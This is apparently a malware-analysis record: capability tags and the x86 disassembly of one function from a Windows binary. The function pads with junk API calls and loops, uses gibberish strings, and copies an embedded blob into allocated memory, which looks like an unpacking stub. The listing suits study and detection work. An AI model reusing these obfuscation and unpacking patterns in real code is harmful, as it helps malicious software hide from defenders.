Function at 0x42caf0
Capabilities:
Accept command line arguments
Enumerate services
Get file attributes
Get file size
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x91c
mov eax, dword [0x434004]
xor eax, esp
mov dword [esp + 0x918], eax
mov edx, dword [0x436438]
mov ecx, dword [0x809e2c]
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x42cb30
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x42cb44
mov dword [0x437230], edi
mov dword [0x437234], esi
inc eax
cmp eax, 0x1180b56
jl 0x42cb23
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x809e2c], ecx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x55ad63
jne 0x42cb72
mov eax, dword [0x434c58]
mov dword [0x809f5c], eax
cmp ecx, 0x3c
jne 0x42cb81
push 0
call edi
mov ecx, dword [0x809e2c]
inc esi
cmp esi, 0x4c8d0a1e
jl 0x42cb60
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push str.jodutab_ruvujamowolozugedifeci_putecezehunuxahidatuc_fizayonazuguvidu
call ebx
push 0
call edi
push 0
call edi
cmp esi, 0x16ea55
jg 0x42cbb8
inc esi
cmp esi, 0x9436ff
jl 0x42cb98
xor ebx, ebx
cmp dword [0x809e2c], 0x2a
jne 0x42cc96
mov ecx, dword [esp + 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x809e20], ebx
mov dword [0x809e24], ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
xor eax, eax
push ebx
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov word [esp + 0x2e], ax
lea eax, [esp + 0x124]
push eax
push str.dohidogefizedakasekigudu
lea ecx, [esp + 0x28]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x34], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push str.seseyixuwowulahobabanutaregey
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push ebx
push ebx
call sub.KERNEL32.dll_Process32Next
push ebx
push ebx
call fcn.004010a3
push ebx
call fcn.00401015
add esp, 0xc
push ebx
call fcn.00401015
add esp, 4
push ebx
call fcn.00401132
add esp, 4
push ebx
push ebx
call fcn.004010a3
push ebx
push ebx
call fcn.004010a3
push ebx
call fcn.00401323
add esp, 0x14
cmp dword [0x809e2c], 0x7c
jne 0x42cd5a
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0x2e
lea ecx, [esp + 0x5c]
push ebx
push ecx
mov dword [esp + 0x60], ebx
call fcn.00404700
add esp, 0xc
push ebx
lea edx, [esp + 0x58]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea eax, [esp + 0x128]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea ecx, [esp + 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x10]
push ebx
push eax
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp dword [0x809e2c], 0x11
jne 0x42cd3f
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1c]
push eax
push ebx
lea ecx, [esp + 0x38]
push ecx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
cmp dword [0x809e2c], 0x2d
jne 0x42cd51
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
call fcn.0040133a
add esp, 4
mov edx, dword [0x809e2c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x809e2c]
mov esi, eax
xor ecx, ecx
mov dword [0x809c74], esi
cmp edx, ebx
jbe 0x42cdb1
mov edi, dword [0x809f5c]
jmp 0x42cd90
mov al, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], al
cmp edx, 0x8d
jne 0x42cdac
mov dword [0x809c78], 0x17bc
inc ecx
cmp ecx, edx
jb 0x42cd90
call fcn.0042c900
call fcn.0042c7c0
call fcn.0042caa0
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
mov edi, edi
cmp dword [0x809e2c], 0x41
jne 0x42cde6
push str.xaronit
call edi
push 0
push 0
call ebx
cmp esi, 0xd4f9f
jne 0x42cdf3
call fcn.0042c7b0
cmp dword [0x809e2c], 0xc
jne 0x42ce07
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x234685
jl 0x42cdd0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [esp + 0x10], 0x1df6c9
mov ebx, 0x8e4e0198
lea esp, [esp]
cmp dword [0x809e2c], 0x7c4
mov dword [0x809c7c], ebx
jne 0x42ce63
push 0
call esi
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
mov word [esp + 0x18], dx
mov word [esp + 0x1a], ax
mov edx, dword [esp + 0x18]
push edx
push eax
push eax
push eax
call edi
sub dword [esp + 0x10], 1
jne 0x42ce30
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea eax, [esp + 0x2c]
push eax
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x42ce99
cmp dword [esp + 0x34], 0xf5bed7
jne 0x42cea2
inc esi
cmp esi, 0x687ed2
jl 0x42ce78
mov ecx, dword [esp + 0x924]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret